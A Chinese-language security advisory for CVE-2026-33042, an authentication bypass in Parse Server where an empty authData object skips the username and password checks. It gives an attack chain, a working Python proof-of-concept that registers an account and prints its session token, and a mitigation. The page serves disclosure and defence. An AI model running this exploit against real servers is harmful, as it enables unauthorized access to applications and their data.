IPBUF安全漏洞报告
English
CVE-2026-33042 CVSS 5.3 中危

CVE-2026-33042: Parse Server空authData绕过认证漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-33042
漏洞类型
认证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

认证绕过Parse Server空authData身份验证CVE-2026-33042Node.jsAPI安全

漏洞概述

Parse Server是一个开源后端服务,可部署到任何可运行Node.js的基础设施上。该漏洞存在于Parse Server 9.6.0-alpha.29之前和8.6.49之前的版本中。漏洞允许用户在不提供任何凭证的情况下通过发送空的authData对象进行注册,从而绕过用户名和密码要求。即使系统管理员禁用了匿名用户功能,攻击者仍可利用此漏洞创建经过身份验证的会话。这意味着未经授权的用户可以创建有效账户并访问受保护的API资源,可能导致数据泄露或未授权操作。该漏洞的CVSS评分为5.3,属于中等严重级别,主要影响系统的完整性和访问控制机制。

技术细节

漏洞源于Parse Server在处理用户注册请求时对authData对象的验证不充分。当用户发送注册请求时,如果authData对象为空({}),系统错误地跳过了用户名和密码的验证流程。这是由于代码逻辑将空的authData与完全缺失的authData处理方式不同。在正常流程中,如果提供了authData(如第三方OAuth提供商数据),则不需要本地用户名和密码。但攻击者发现发送空的authData对象时,系统同样不要求提供本地凭证,导致认证绕过。攻击者只需发送一个POST请求到用户注册端点,包含空的authData对象和一个任意的username,即可成功注册账户。修复方案(9.6.0-alpha.29和8.6.49)在用户创建时增加了验证逻辑,确保当authData为空或不可操作时,必须提供有效的用户名和密码。

攻击链分析

STEP 1
步骤1
攻击者识别目标Parse Server实例,确认版本低于8.6.49或9.6.0-alpha.29
STEP 2
步骤2
构造恶意注册请求,发送空的authData对象{},绕过用户名和密码验证
STEP 3
步骤3
Parse Server错误地认为这是第三方认证提供商场景,跳过本地凭证检查
STEP 4
步骤4
成功创建经过身份验证的用户账户,获取有效的sessionToken
STEP 5
步骤5
使用获得的sessionToken访问受保护的API资源或执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-33042 PoC - Parse Server Authentication Bypass # Target: Parse Server < 8.6.49 or < 9.6.0-alpha.29 TARGET_URL = "http://target-server:1337/parse" # Replace with actual target def exploit_auth_bypass(): """ Exploit empty authData to bypass credential requirements during Parse Server user registration. """ # Create user with empty authData - bypasses username/password requirement payload = { "username": "attacker_account", # Arbitrary username "authData": {}, # Empty authData object - KEY TO EXPLOIT "email": "[email protected]" } headers = { "X-Parse-Application-Id": "YOUR_APP_ID", "Content-Type": "application/json" } try: response = requests.post( f"{TARGET_URL}/users", json=payload, headers=headers, timeout=10 ) if response.status_code in [200, 201]: result = response.json() print(f"[+] SUCCESS: Account created without credentials!") print(f"[+] User ID: {result.get('objectId')}") print(f"[+] Session Token: {result.get('sessionToken')}") return True else: print(f"[-] FAILED: Status {response.status_code}") print(f"[-] Response: {response.text}") return False except Exception as e: print(f"[-] ERROR: {str(e)}") return False if __name__ == "__main__": print("="*60) print("CVE-2026-33042 - Parse Server Auth Bypass Exploit") print("="*60) exploit_auth_bypass()

影响范围

Parse Server < 8.6.49
Parse Server < 9.6.0-alpha.29

防御指南

临时缓解措施
作为临时缓解措施,可在Parse Server的Cloud Code中为_User类添加beforeSave触发器,拒绝authData为空且未提供用户名和密码的注册请求。示例代码:在Cloud Code中检查req.object.get('authData')是否为空对象,如果是则检查是否同时提供了username和password,如都缺失则抛出错误拒绝创建用户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表